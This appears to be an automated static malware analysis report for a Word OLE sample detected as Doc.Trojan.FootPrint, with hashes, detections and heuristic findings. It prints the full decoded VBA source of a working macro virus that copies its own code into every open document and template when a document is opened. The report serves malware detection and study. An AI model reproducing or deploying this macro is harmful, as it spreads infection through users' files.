Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 922fdc0c731db109…

MALICIOUS

Office (OLE)

45.5 KB Created: 2099-10-20 23:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ba4fc2142f5b28697e9097705e029e49 SHA-1: 714d481a1bc535b7a104f2bcf3ca8cc207ef7d91 SHA-256: 922fdc0c731db1093a6e186ed3e08ba3f222fcd73cc958f4433431dfaf78b16f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a critical heuristic firing. The macro code attempts to export itself to a temporary file 'c:\footprint.$$$', process it, and then write the modified content to 'c:\footprint.$$1'. It then iterates through open documents and templates, attempting to inject its code into them if a custom property 'FootPrint1' is not already present. This self-propagation mechanism is indicative of a downloader or a worm-like behavior.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2033 bytes
SHA-256: 4e3a137e5d3b207d46bcfb7fb96921720076a10bdd26663014f7dd4b71173dd0
Detection
ClamAV: Doc.Trojan.FootPrint-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Private Sub CheckBox1_Click()

End Sub

'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
End Sub

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